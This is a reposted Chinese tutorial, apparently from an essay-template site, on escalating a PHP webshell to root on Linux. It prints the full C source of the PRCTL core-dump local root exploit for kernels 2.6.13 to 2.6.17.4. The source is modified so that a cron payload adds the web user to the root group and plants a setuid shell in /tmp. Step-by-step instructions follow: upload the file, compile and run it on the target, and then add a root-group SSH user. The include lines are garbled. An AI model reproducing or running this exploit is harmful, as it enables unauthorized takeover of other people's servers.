1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > webshell提权教程linux Linux下WEBSHELL提权

webshell提权教程linux Linux下WEBSHELL提权

时间:2019-08-18 22:18:40

相关推荐

webshell提权教程linux Linux下WEBSHELL提权

用phpshell2.0和Linux Kernel2.6x 本地溢出代码配合提ROOT,现在不少LINUX主机都还有这个本地溢出漏洞。

前提:1、目标机上安装了GCC能编译源码

2、Kernel 2.6.x (>= 2.6.13 && < 2.6.17.4)

因为是在webshell里溢出成功也得不到返回的ROOT SHELL,所以要稍微修改下源码,把当前运行HTTP进程的用户加入到ROOT组(红色显示),让WEBSHELL有ROOT权限.

/**********溢出代码**************************/

/* Local r00t Exploit for: */

/* Linux Kernel PRCTL Core Dump Handling */

/* ( BID 18874 / CVE--2451 ) */

/* Kernel 2.6.x (>= 2.6.13 && < 2.6.17.4) */

/* By: */

/* - dreyer (main PoC code) */

/* - RoMaNSoFt (local root code) */

/* [ 10.Jul. ] */

/*****************************************************/

#include

#include

#include

#include

#include

#include

#include

#include

char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * * root cp /bin/sh /tmp/sh ;

gpasswd -a wwwrun root; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n";

int main() {

int child;

struct rlimit corelimit;

printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n");

printf("By: dreyer & RoMaNSoFt\n");

printf("[ 10.Jul. ]\n\n");

corelimit.rlim_cur = RLIM_INFINITY;

corelimit.rlim_max = RLIM_INFINITY;

setrlimit(RLIMIT_CORE, &corelimit);

printf("[*] Creating Cron entry\n");

if ( !( child = fork() )) {

chdir("/etc/cron.d");

prctl(PR_SET_DUMPABLE, 2);

sleep(200);

exit(1);

}

kill(child, SIGSEGV);

printf("[*] Sleeping for aprox. one minute (** please wait **)\n");

sleep(62);

printf("[*] Running shell (remember to remove /tmp/sh when finished) ...\n");

system("/tmp/sh -p");

}

把上面的代码保存为tmp.c,上传到目标主机/tmp目录下,接着PHPSHELL里编译gcc -o tmp tmp.c ,然后执行./tmp(有时候需要执行几次才能成功).

用whoami命令看下你会发现你的WEBSHELL权限是ROOT.

char *payload 后面的命令都是以ROOT执行的,如果开放了SSH并且没做登陆限制,可以直接到那添加一个用户并加入到ROOT组,自己发挥~~~~~

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。